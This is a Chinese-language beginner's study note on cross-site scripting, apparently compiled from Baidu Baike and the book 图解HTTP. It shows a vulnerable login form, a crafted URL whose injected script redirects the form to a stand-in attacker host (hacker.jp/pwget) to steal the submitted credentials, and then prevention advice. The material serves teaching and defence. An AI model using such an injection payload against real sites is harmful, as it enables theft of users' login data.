本篇文章整理百度百科,《图解HTTP》
跨站脚本攻击,又名XSS,原英文Cross Site Scripting,因CSS与层叠样式表重名而区XSS。
攻击方式
将一条包含恶意代码的网站链接通过邮件,即时通讯,评论区等发给被攻击者,诱导其点击。将恶意代码注入到网站中,盗取用户的个人信息,如session,用户名,密码等。
在输入框输入HTML,JavaScript,CSS等代码,传给后端服务器。
攻击演示
以下代码为网站通过URI的查询字段指定ID,在表单内自动填写字符串的功能。而这就隐藏着可执行跨站脚本攻击的漏洞。
<div class="logo">
<img src="/img/logo.gif" alt="E! 拍卖会" />
</div>
<form action="http://example.jp/login" method="post" id="login">
ID <input type="text" name="ID" value=""/>
</form>
攻击者发送如下链接给被攻击,诱导其点击。
http://example.jp/login?ID="><script>var f=document.getElementById("login"); f.action="http://hacker.jp/pwget"; f.method="get";</script><span+s="
最终网页表单将动态生成为如下形式:
<div class="logo">
<img src="/img/logo.gif" alt="E! 拍卖会" />
</div>
<form action="http://example.jp/login" method="post" id="login">
ID <input type="text" name="ID" value=""><script>var f=document.getElementById("login"); f.action="http://hacker.jp/pwget"; f.method="get";</script><span+s="/>
</form>
被攻击显示的依然是正常的页面,但是恶意代码已经注入到页面当中,但用户并无察觉,因为JavaScript代码并不显示。当用户提交表单时,表单信息都会传给攻击者,用户正常登录并不会有所察觉。
除了窃取表单,还可以窃取cookie,用户行为等等。
预防
百度百科:
- 输入验证:某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。
- 输出编码:数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。
- 明确指定输出的编码方式:不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。
- 注意黑名单验证方式的局限性:仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字),很容易被XSS变种攻击绕过验证机制。
- 警惕规范化错误:验证输入之前,必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。
防御
本人为初学者,具体实现不了解,待以后遇到再补充。
百度百科-XSS防御
网友评论